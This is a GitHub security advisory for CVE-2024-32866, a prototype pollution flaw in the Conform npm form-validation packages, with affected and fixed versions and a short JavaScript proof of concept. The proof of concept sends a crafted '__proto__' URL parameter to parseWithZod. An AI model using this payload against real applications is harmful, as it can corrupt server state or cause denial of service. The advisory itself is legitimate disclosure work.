GitHub Advisoryadvisory · npm
GHSA-624g-8qjg-8qxf Conform contains a Prototype Pollution Vulnerability in `parseWith...` function
HIGH
Official page ↗
- Aliases
- CVE-2024-32866
- Ecosystem
- npm
- Packages
- @conform-to/dom, @conform-to/zod, @conform-to/yup
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
- Weaknesses
- CWE-1321
- Reviewed
- 2024-04-23
Affected packages
• npm @conform-to/dom: >= 1.0.0, < 1.1.1 → fixed in 1.1.1
• npm @conform-to/zod: >= 1.0.0, < 1.1.1 → fixed in 1.1.1
• npm @conform-to/yup: >= 1.0.0, < 1.1.1 → fixed in 1.1.1
• npm @conform-to/zod: < 0.9.2 → fixed in 0.9.2
• npm @conform-to/yup: < 0.9.2 → fixed in 0.9.2
• npm @conform-to/dom: < 0.9.2 → fixed in 0.9.2
Description
Summary
Conform allows the parsing of nested objects in the form of `object.property`. Due to an improper implementation of this feature, an attacker can exploit it to trigger prototype pollution by passing a crafted input to `parseWith...` functions.
PoC
```javascript
const { parseWithZod } = require('@conform-to/zod');
const { z } = require("zod");
const param = new URLSearchParams("__proto__.pollution=polluted");
const schema = z.object({ "a": z.string() });
parseWithZod(param, { schema });
console.log("pollution:", ({}).pollution); // should print "polluted"
```
Details
The invocation of the `parseWithZod` function in the above PoC triggers the `setValue` function through `getSubmissionContext` and `parse`, executing the following process, resulting in prototype pollution:
```javascript
let pointer = value;
pointer.__proto__ = pointer.__proto__;
pointer = pointer.__proto__;
pointer.polluted = "polluted";
```
This is caused by the lack of object existence checking on line 117 in formdata.ts, where the code only checks for the presence of `pointer[key]` without proper validation.
Impact
Applications that use conform for server-side validation of form data or URL parameters are affected by this vulnerability.
Related
Alias · CVE (1)
- CVE-2024-32866 Conform, a type-safe form validation library, allows the parsing of nested objects in the form of `object.property`. vulnerability
Weakness · CWE (1)
- CWE-1321 Improperly Controlled Modification of Object Prototype Attributes weakness
References
- https://github.com/edmundhung/conform/security/advisories/GHSA-624g-8qjg-8qxf web
- https://nvd.nist.gov/vuln/detail/CVE-2024-32866 advisory
- https://github.com/edmundhung/conform/commit/4819d51b5a53fd5486fc85c17cdc148eb160e3de web
- https://github.com/edmundhung/conform/commit/cb604dd58b99e2d12716d901a23bfca724e741ef web
- https://github.com/edmundhung/conform package
- https://github.com/edmundhung/conform/blob/59156d7115a7207fa3b6f8a70a4342a9b24c2501/packages/conform-dom/formdata.ts#L117 web